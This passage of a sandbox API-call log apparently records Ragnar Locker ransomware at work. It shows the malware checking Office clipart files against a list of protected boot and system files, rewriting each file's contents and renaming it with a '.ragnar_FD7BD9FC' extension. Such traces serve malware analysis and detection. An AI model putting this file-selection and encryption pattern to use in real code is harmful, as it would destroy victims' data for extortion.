Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.886] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198712.WMF" | out: lpString1="J0198712.WMF") returned="J0198712.WMF" [0085.886] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned=".WMF" [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="autorun.inf") returned 1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="boot.ini") returned 1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="bootfont.bin") returned 1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="bootsect.bak") returned 1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="bootmgr") returned 1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="bootmgr.efi") returned 1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="bootmgfw.efi") returned 1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="desktop.ini") returned 1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="iconcache.db") returned 1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="ntldr") returned -1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="ntuser.dat") returned -1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="ntuser.dat.log") returned -1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="ntuser.ini") returned -1 [0085.886] lstrcmpiW (lpString1="J0198712.WMF", lpString2="thumbs.db") returned -1 [0085.886] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.887] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.887] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.887] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.887] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.887] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.887] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf")) returned 0x20 [0085.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.887] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=57722) returned 1 [0085.887] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe171, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.887] GetProcessHeap () returned 0x580000 [0085.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.887] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.889] VirtualAlloc (lpAddress=0x0, dwSize=0xe17a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.889] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.889] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.889] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe17a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe17a, lpOverlapped=0x0) returned 1 [0085.891] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.891] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe17a, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.891] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe17a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe17a, lpOverlapped=0x0) returned 1 [0085.892] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe17a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.892] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.892] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe17a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.892] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.892] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.892] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.892] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.892] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.892] GetProcessHeap () returned 0x580000 [0085.892] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.892] CloseHandle (hObject=0xf4) returned 1 [0085.893] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" [0085.893] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.ragnar_FD7BD9FC" [0085.893] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.893] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1 [0085.893] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.893] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0199279.WMF" | out: lpString1="J0199279.WMF") returned="J0199279.WMF" [0085.893] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned=".WMF" [0085.893] lstrcmpiW (lpString1="J0199279.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.893] lstrcmpiW (lpString1="J0199279.WMF", lpString2="autorun.inf") returned 1 [0085.893] lstrcmpiW (lpString1="J0199279.WMF", lpString2="boot.ini") returned 1 [0085.893] lstrcmpiW (lpString1="J0199279.WMF", lpString2="bootfont.bin") returned 1 [0085.893] lstrcmpiW (lpString1="J0199279.WMF", lpString2="bootsect.bak") returned 1 [0085.894] lstrcmpiW (lpString1="J0199279.WMF", lpString2="bootmgr") returned 1 [0085.894] lstrcmpiW (lpString1="J0199279.WMF", lpString2="bootmgr.efi") returned 1 [0085.894] lstrcmpiW (lpString1="J0199279.WMF", lpString2="bootmgfw.efi") returned 1 [0085.894] lstrcmpiW (lpString1="J0199279.WMF", lpString2="desktop.ini") returned 1 [0085.894] lstrcmpiW (lpString1="J0199279.WMF", lpString2="iconcache.db") returned 1 [0085.894] lstrcmpiW (lpString1="J0199279.WMF", lpString2="ntldr") returned -1 [0085.894] lstrcmpiW (lpString1="J0199279.WMF", lpString2="ntuser.dat") returned -1 [0085.894] lstrcmpiW (lpString1="J0199279.WMF", lpString2="ntuser.dat.log") returned -1 [0085.894] lstrcmpiW (lpString1="J0199279.WMF", lpString2="ntuser.ini") returned -1 [0085.894] lstrcmpiW (lpString1="J0199279.WMF", lpString2="thumbs.db") returned -1 [0085.894] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.894] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.894] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.894] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.894] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.894] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.894] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf")) returned 0x20 [0085.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.894] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29006) returned 1 [0085.894] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7145, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.895] GetProcessHeap () returned 0x580000 [0085.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.895] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.896] VirtualAlloc (lpAddress=0x0, dwSize=0x714e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.896] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.896] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.896] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x714e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x714e, lpOverlapped=0x0) returned 1 [0085.898] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.898] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x714e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.898] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x714e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x714e, lpOverlapped=0x0) returned 1 [0085.898] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x714e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.898] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.898] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x714e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.899] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.899] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.899] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.899] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.899] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.899] GetProcessHeap () returned 0x580000 [0085.899] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.899] CloseHandle (hObject=0xf4) returned 1 [0085.899] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" [0085.899] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.ragnar_FD7BD9FC" [0085.899] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.900] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1 [0085.900] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.900] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0199303.WMF" | out: lpString1="J0199303.WMF") returned="J0199303.WMF" [0085.900] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned=".WMF" [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="autorun.inf") returned 1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="boot.ini") returned 1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="bootfont.bin") returned 1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="bootsect.bak") returned 1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="bootmgr") returned 1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="bootmgr.efi") returned 1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="bootmgfw.efi") returned 1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="desktop.ini") returned 1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="iconcache.db") returned 1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="ntldr") returned -1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="ntuser.dat") returned -1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="ntuser.dat.log") returned -1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="ntuser.ini") returned -1 [0085.900] lstrcmpiW (lpString1="J0199303.WMF", lpString2="thumbs.db") returned -1 [0085.900] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.900] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.901] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.901] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.901] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.901] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.901] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf")) returned 0x20 [0085.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.902] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31822) returned 1 [0085.902] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.902] GetProcessHeap () returned 0x580000 [0085.902] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.902] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.904] VirtualAlloc (lpAddress=0x0, dwSize=0x7c4e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.904] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.904] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.904] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c4e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7c4e, lpOverlapped=0x0) returned 1 [0085.905] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.906] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c4e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.906] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c4e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7c4e, lpOverlapped=0x0) returned 1 [0085.906] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c4e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.906] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.906] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.906] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.906] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.906] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.906] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.907] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.907] GetProcessHeap () returned 0x580000 [0085.907] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.907] CloseHandle (hObject=0xf4) returned 1 [0085.907] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" [0085.907] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.ragnar_FD7BD9FC" [0085.907] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.907] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1 [0085.907] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.908] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0199307.WMF" | out: lpString1="J0199307.WMF") returned="J0199307.WMF" [0085.908] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned=".WMF" [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="autorun.inf") returned 1 [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="boot.ini") returned 1 [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="bootfont.bin") returned 1 [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="bootsect.bak") returned 1 [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="bootmgr") returned 1 [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="bootmgr.efi") returned 1 [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="bootmgfw.efi") returned 1 